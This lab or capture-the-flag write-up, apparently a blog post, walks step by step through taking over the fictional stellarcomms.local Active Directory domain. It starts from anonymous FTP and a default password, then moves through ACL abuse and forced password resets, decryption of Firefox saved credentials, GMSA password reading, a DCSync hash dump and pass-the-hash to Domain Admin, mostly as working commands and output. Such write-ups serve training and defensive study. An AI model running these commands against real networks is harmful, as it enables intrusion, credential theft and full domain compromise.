Objective / Scope

StellarComms has recently onboarded a new junior analyst to support satellite operations monitoring. As part of standard security procedures, a comprehensive internal access assessment must be conducted to validate that the new user account maintains appropriate privilege boundaries and cannot be leveraged for unauthorized escalation.

This lab started with just a username - junior.analyst - and no password. The challenge was to figure out how a brand new, low-privileged account could potentially escalate all the way to domain administrator. Spoiler alert: turns out there were quite a few misconfigurations to exploit along the way.


Starting Information

1
junior.analyst:UNKNOWN PASSWORD

Reconnaissance & Information Gathering

Network Scanning

First things first - let’s see what we’re working with. A full port scan against the target revealed the usual Active Directory suspects:

1
nmap -Pn -p- -sC -sV 10.1.7.51 --open -oA nmap/stellarcomms --min-rate 3000

Key services identified:

  • FTP (21) - Anonymous access enabled
  • Kerberos (88) - Domain authentication
  • LDAP (389/636) - Directory services
  • SMB (445) - File sharing with signing required
  • WinRM (5985) - Remote management

The FTP service with anonymous access immediately caught my attention. Public FTP servers in corporate environments often contain documentation and files that shouldn’t be publicly accessible.


Anonymous FTP Access

Sure enough, anonymous FTP was enabled and contained several directories:

1
2
3
4
5
6
7
229 Entering Extended Passive Mode (|||50531|)
125 Data connection already open; Transfer starting.
09-12-25  11:29AM       <DIR>          Docs
09-10-25  11:15AM       <DIR>          IT
09-10-25  11:44AM       <DIR>          Pics
226 Transfer complete.
ftp> 

Rather than manually clicking through everything, I just grabbed it all recursively:

1
wget -r -nH --cut-dirs=0 -np ftp://anonymous:@10.1.7.51/

Going through the downloaded files, two documents stood out:

LEO_2A_Report.txt mentioned an internal portal:

1
2
All operators must authenticate to the secure domain 
(https://portal.stellarcomms.local) prior to mission tasks

More importantly, Stellar_UserGuide.pdf contained what appeared to be a default password in the documentation. Combined with the knowledge that junior.analyst was a newly created account, it seemed worth trying.

Time to validate these credentials:

1
nxc smb 10.1.7.51 -u 'junior.analyst' -p '<REDACTED>'
1
SMB         10.1.7.51       445    DC-STELLAR       [+] stellarcomms.local\junior.analyst:<REDACTED>

Bingo. We’re in with valid domain credentials.


Active Directory Enumeration

User Discovery

Now that we have authenticated access, let’s see who else is in this domain:

1
nxc smb 10.1.7.51 -u 'junior.analyst' -p '<REDACTED>' --users

Identified accounts:

  • Administrator
  • junior.analyst
  • ops.controller
  • astro.researcher
  • eng.payload
  • SATLINK-SERVICE$

A pretty small domain with just a handful of users. The SATLINK-SERVICE$ account with the dollar sign indicates it’s likely a service account or Group Managed Service Account (GMSA).

BloodHound Collection

With valid credentials, the next logical step is to map out the entire Active Directory environment. BloodHound is perfect for visualizing privilege relationships and finding attack paths:

1
bloodhound-python -u junior.analyst -p '<REDACTED>' -d stellarcomms.local -ns 10.1.7.51 -c All --zip

After importing the data into BloodHound and marking junior.analyst as owned, I started looking for any privileges this low-level account might have.


Privilege Escalation Path #1: WriteOwner Abuse

Digging through BloodHound’s “Outbound Object Control” for junior.analyst, I found something interesting - the account had WriteOwner permissions over a group called STELLAROPS-CONTROL.

WriteOwner on STELLAROPS-CONTROL

WriteOwner is a powerful permission because it lets you become the owner of an object, and owners can modify an object’s security descriptor. This essentially gives you full control.

Exploitation

The attack is straightforward - take ownership, grant yourself permissions, then add yourself to the group:

Step 1: Claim ownership of the group

1
bloodyAD -d stellarcomms.local -u junior.analyst -p '<REDACTED>' --host 10.1.7.51 set owner 'STELLAROPS-CONTROL' 'junior.analyst'

Step 2: Grant yourself full control

1
bloodyAD -d stellarcomms.local -u junior.analyst -p '<REDACTED>' --host 10.1.7.51 add genericAll 'STELLAROPS-CONTROL' 'junior.analyst'

Step 3: Add yourself to the privileged group

1
bloodyAD -d stellarcomms.local -u junior.analyst -p '<REDACTED>' --host 10.1.7.51 add groupMember 'STELLAROPS-CONTROL' 'junior.analyst'

Verify membership:

1
nxc ldap 10.1.7.51 -u junior.analyst -p '<REDACTED>' --query "(samAccountName=junior.analyst)" "memberOf"

Perfect. Now I’m a member of STELLAROPS-CONTROL. Time to check what privileges this group has in BloodHound.


Privilege Escalation Path #2: ForceChangePassword

Looking at what STELLAROPS-CONTROL group members can do, BloodHound showed they have ForceChangePassword rights over the ops.controller account.

ForceChangePassword on ops.controller

This is excellent - we can reset the password for ops.controller without needing to know the current password.

Exploitation

Reset the password:

1
bloodyAD -d stellarcomms.local -u junior.analyst -p '<REDACTED>' --host 10.1.7.51 set password 'ops.controller' 'Password1'
1
[+] Password changed successfully!

Now let’s see what access this gives us:

1
nxc winrm 10.1.7.51 -u ops.controller -p 'Password1'
1
WINRM       10.1.7.51       5985   DC-STELLAR       [+] stellarcomms.local\ops.controller:Password1 (admin)

Even better - ops.controller has WinRM access to the domain controller. Let’s get a shell:

1
evil-winrm -i 10.1.7.51 -u ops.controller -p 'Password1'

And just like that, we’ve got remote access to the DC and can grab the user flag.


Privilege Analysis: ops.controller

Now that we’re on the domain controller, let’s see what privileges this account actually has:

1
whoami /priv
1
2
3
Privilege Name                Description                    State
============================= ============================== =======
SeMachineAccountPrivilege     Add workstations to domain     Enabled

Interesting - SeMachineAccountPrivilege allows adding computer accounts to the domain. This is typically used for Resource-Based Constrained Delegation (RBCD) attacks, so let’s create a machine account that we control:

1
impacket-addcomputer -computer-name 'lenk$' -computer-pass 'Password123!' -dc-ip 10.1.7.51 stellarcomms.local/ops.controller:'Password1'
1
[*] Successfully added machine account lenk$ with password Password123!.

I spent some time trying to leverage this for RBCD and NTLM relay attacks, but the domain controller had LDAPS channel binding enabled which blocked those attempts. Sometimes attacks don’t pan out the way you expect - time to find another path forward.


Credential Discovery: Browser Forensics

Back when we were downloading files from FTP, there was a Firefox installer in the IT directory. That made me wonder - are there any saved credentials in Firefox profiles on the DC?

Let’s check:

1
Get-ChildItem "C:\Users\*\AppData\Roaming\Mozilla\Firefox\Profiles" -Recurse -Include "logins.json","key4.db" -ErrorAction SilentlyContinue | Select-Object FullName
1
2
C:\Users\ops.controller\AppData\Roaming\Mozilla\Firefox\Profiles\v8mn7ijj.default-esr\key4.db
C:\Users\ops.controller\AppData\Roaming\Mozilla\Firefox\Profiles\v8mn7ijj.default-esr\logins.json

Jackpot! Firefox stores credentials in logins.json (encrypted) and uses key4.db for the encryption keys. Evil-WinRM makes it easy to download these files:

1
2
3
cd C:\Users\ops.controller\AppData\Roaming\Mozilla\Firefox\Profiles\v8mn7ijj.default-esr
download logins.json
download key4.db

Credential Decryption

To decrypt Firefox credentials, I used firepwd - a Python tool specifically designed for this:

1
2
3
4
5
6
7
mkdir -p /tmp/firefox_profile
cp logins.json key4.db /tmp/firefox_profile/
cd /opt
git clone https://github.com/lclevy/firepwd
cd firepwd
pip install -r requirements.txt
python3 firepwd.py -d /tmp/firefox_profile

Recovered Credentials:

1
2
3
http://portal.stellarcomms.local:
Username: astro.researcher
Password: [REDACTED]

Decrypted Firefox Credentials

Excellent - we’ve got credentials for another domain user. Let’s see what astro.researcher can do.


Privilege Escalation Path #3: Complete Chain to DCSync

Back to BloodHound to check what privileges astro.researcher has. Following the graph, I found a complete attack path to DCSync:

1
ASTRO.RESEARCHER → [WriteDacl] → ENG.PAYLOAD → [ReadGMSAPassword] → SATLINK-SERVICE$ → [DCSync]

Attack Path to DCSync

This is perfect - a clear chain from our current position all the way to DCSync, which would let us dump all domain credentials including the Administrator hash.

Step 1: Authenticate as ASTRO.RESEARCHER

First, let’s verify the Firefox credentials actually work:

1
nxc smb 10.1.7.51 -u astro.researcher -p '[REDACTED]'
1
SMB         10.1.7.51       445    DC-STELLAR       [+] stellarcomms.local\astro.researcher:[REDACTED]

Good to go.

Step 2: Exploit WriteDacl on ENG.PAYLOAD

astro.researcher has WriteDacl permissions on eng.payload, which means we can modify the target’s access control list to give ourselves full control.

Grant ourselves GenericAll:

1
bloodyAD -d stellarcomms.local -u astro.researcher -p '[REDACTED]' --host 10.1.7.51 add genericAll 'ENG.PAYLOAD' 'astro.researcher'

Now that we have full control, we can reset the password:

1
bloodyAD -d stellarcomms.local -u astro.researcher -p '[REDACTED]' --host 10.1.7.51 set password 'ENG.PAYLOAD' 'Password1'
1
[+] Password changed successfully!

The eng.payload account has ReadGMSAPassword permissions on SATLINK-SERVICE$. Group Managed Service Accounts have their passwords automatically managed by Active Directory, but accounts with the right permissions can read those passwords.

NetExec makes this trivial:

1
nxc ldap 10.1.7.51 -u ENG.PAYLOAD -p 'Password1' --gmsa
1
LDAP        10.1.7.51       389    DC-STELLAR       Account: SATLINK-SERVICE$     NTLM: [REDACTED]

GMSA Password Extraction

Perfect - we’ve got the NTLM hash for SATLINK-SERVICE$.

Step 4: DCSync Attack

According to BloodHound, SATLINK-SERVICE$ has DCSync rights. This is a misconfiguration - service accounts shouldn’t have replication permissions unless they’re specifically domain controllers.

Time to dump the entire domain database:

1
nxc smb 10.1.7.51 -u 'SATLINK-SERVICE$' -H [REDACTED] --ntds
1
2
SMB         10.1.7.51       445    DC-STELLAR       Administrator:500:aad3b435b51404eeaad3b435b51404ee:[REDACTED]:::
SMB         10.1.7.51       445    DC-STELLAR       [+] Dumped 10 NTDS hashes

DCSync Success

And there it is - the Administrator NTLM hash along with every other account in the domain.


Domain Compromise

Administrator Access

With the Administrator hash, we can authenticate using pass-the-hash:

1
nxc smb 10.1.7.51 -u Administrator -H '[REDACTED]'
1
SMB         10.1.7.51       445    DC-STELLAR       [+] stellarcomms.local\Administrator:[REDACTED] (Pwn3d!)

And finally, a shell as Domain Admin:

1
evil-winrm -i 10.1.7.51 -u Administrator -H '[REDACTED]'

Domain Admin Shell

Root flag obtained. Domain completely compromised.


Exploitation Chain Summary

Looking back at the full attack path:

  1. Anonymous FTP - Leaked default credentials in documentation
  2. WriteOwner - Took control of STELLAROPS-CONTROL group
  3. Group Membership - Added ourselves to the privileged group
  4. ForceChangePassword - Reset ops.controller’s password
  5. Remote Access - Got WinRM shell on the domain controller
  6. Browser Forensics - Extracted Firefox saved credentials
  7. WriteDacl - Compromised eng.payload account
  8. GMSA Extraction - Read SATLINK-SERVICE$ password hash
  9. DCSync - Dumped all domain credentials

It’s impressive how many small misconfigurations can chain together. No single vulnerability was that critical on its own, but combined they provided a complete path from unprivileged user to Domain Admin.


Tools Used

  • Nmap - Network reconnaissance
  • NetExec (nxc) - SMB/LDAP enumeration
  • BloodHound - AD relationship analysis
  • bloodyAD - ACL manipulation
  • Evil-WinRM - Remote PowerShell
  • firepwd - Browser credential extraction
  • Impacket - Machine account creation and DCSync